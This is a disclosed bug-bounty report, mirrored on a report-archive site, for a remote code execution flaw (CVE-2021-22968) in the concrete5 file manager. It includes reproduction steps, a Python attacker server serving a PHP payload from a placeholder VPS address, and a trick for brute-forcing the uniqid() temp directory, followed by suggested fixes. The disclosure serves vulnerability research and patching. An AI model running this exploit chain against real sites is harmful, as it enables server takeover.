Skip to content
RCE Disclosed report Intermediate CVE-2021-22968

A bypass of adding remote files in concrete5 FIlemanager leads to remote code execution

The concrete5 file manager allows an administrator to import remote files, and a PHP file can be written into a temporary directory. The directory name is generated with uniqid(), which is partly predictable, and by delaying the deletion of the temporary directory an attacker can brute-force the name and execute the PHP file, leading to remote code execution.

byc_404 Follow

Originally disclosed on HackerOne

Medium 5.4 View original
  • Triaged in 2 hours
  • Fixed in 47 days
  • Disclosed after 47 days

Hi, I 'm currently testing the latest concretecms on my own pc and found some security problems of file manager. Concretecms allows user to upload remote files via file manager. With some techniques to bypass restriction of this function, a evil user will be able to download arbitary php file into accessible file folder. Since the folder name is generated with uniqid(), bruteforcing 5-digits hex code can leads to the correct directory where our php file lies. Then you can just visit it to get RCE.

Privileges required: Administrator Magic word for submitting the report: crayons

Reproduce

  • Login as a user with Administrator privileges.
  • set up evil server: run python3 server.py on your remote VPS server. Here my python server is listening at port 8877.
  • add following urls:The top evil link is to our webshell file http://YOUR_VPS_IP:8877/byc.php, following multiplehttp://YOUR_VPS_IP:8877/stuck links( 20+ can assure the execution time).
419EA7E4-38F5-468a-9DB1-D6047D649F6C_edit_463550871289683.png
419EA7E4-38F5-468a-9DB1-D6047D649F6C_edit_463550871289683.png From the original on HackerOne
  • wait 120 seconds for this process to send error. You can also see the log on your server.
  • Check your website folder and find that the evil php script stays in a temp folder. You can directly access this file from browser.

(Although this directory name seems random, the name of it is actually generated by uniqid() with total length 13. The first 8 characters are actually the UTC timestamp of the time when you send request. So you can bruteforce the last 5 characters and access the exact folder where our file lies.)

Code analysis

The source code below in concrete/controllers/backend/file.php shows the main logic of my exploit. The server takes multiple urls as input, validate each of them and then download it.The error during this process will be collected and send in response at last.

PHP
            $this->checkRemoteURlsToImport($urls);
            $originalPage = $this->getImportOriginalPage();
            $fi = $this->app->make(Importer::class);
            $volatileDirectory = $this->app->make(VolatileDirectory::class);
            foreach ($urls as $url) {
                try {
                    $downloadedFile = $this->downloadRemoteURL($url, $volatileDirectory->getPath());
                    $fileVersion = $fi->import($downloadedFile, false, $replacingFile ?: $this->getDestinationFolder());
                    if (!$fileVersion instanceof FileVersionEntity) {
                        $errors->add($url . ': ' . $fi->getErrorMessage($fileVersion));
                    } else {
                        if ($originalPage !== null) {
                            $fileVersion->getFile()->setOriginalPage($originalPage->getCollectionID());
                        }
                        $importedFileVersions[] = $fileVersion;
                    }
                } catch (UserMessageException $x) {
                    $errors->add($x);
                }
            }

The downloadRemoteURL function somehow allows url path like /byc.php. So php file will be written into directory.

However, the directory will be deleted by the __destruct function of VolatileDirectory, it seems impossible to race condition and access our php file before deleted.

So as long as we trigger an error before __destruct is called, we can keep our php file in that temp directory with enough time to bruteforce.

My idea is that, since the server has an execution time limit of 120s. We can just submit enough urls since the function won't throw an error until all the urls are processed, that's why I use python server to sleep 10 second each time it visit /stuck in my poc.

Python
EXPLOIT="<?php phpinfo(); "
class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'Current time: {datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")}')
        self.send_response(200)
        self.send_header("Content-type", "image/jpeg")
        self.end_headers()
        self.wfile.write(EXPLOIT.encode('utf-8'))
        if self.path == "/stuck":
            time.sleep(10)

So that's how I bypass the limit and successfully write a file into folder.

Possible Fix Method

  • Disallow php file extension when writing it , although it will be deleted soon
  • do not use uniqid to create directory under /temp cause most chars of it can be deduced by the current time. Use md5(uniqid()) will make this exploit unable to bruteforce.

eg. As it is shown above, the directory of my evil file lies is volatile-0-614daecb71435. Take the first 8 chars 614daecb and execute python code:

Python
print(datetime.datetime.fromtimestamp(int('0x614daecb', 16), tz=datetime.timezone.utc))
#result: 2021-09-24 10:56:11+00:00

And you can check out the time when my server receives the first request: 2021-09-24 10:56:12 which is 1 second after the directory creates. So user can easily get the time when directory creates.

Concluding, anyone get access to admin user will be able to write arbitary files into brute-forceable directory which leads to Remote Code Execution.

Thanks,

Best regards.

Impact

Remote Code Execution

The original report as published on HackerOne, by byc_404. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the remote file import does not block PHP extensions and stores files in a directory named with uniqid(), which is partly predictable, and the temporary directory's deletion can be delayed by causing errors.

Impact

An attacker with administrator privileges could execute arbitrary PHP code on the server, leading to remote code execution.

What the attacker needed

Administrator privileges; Attacker-controlled server

The fix

The report suggests disallowing PHP file extensions and using a less predictable directory name such as md5(uniqid()).

How it was found

  1. Log in as an administrator.
  2. Set up a malicious server that serves a PHP file and slow responses.
  3. Submit multiple remote URLs, including the PHP file and slow URLs, to the file manager.
  4. Wait for the process to time out and produce an error.
  5. Brute-force the last five characters of the temporary directory name.
  6. Access the uploaded PHP file to execute code.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The file manager lets an admin fetch files from other websites. The report shows that a malicious PHP script can be saved in a temporary folder. The folder name is not fully random, so an attacker can guess it and run the script on the server.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Concrete CMS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.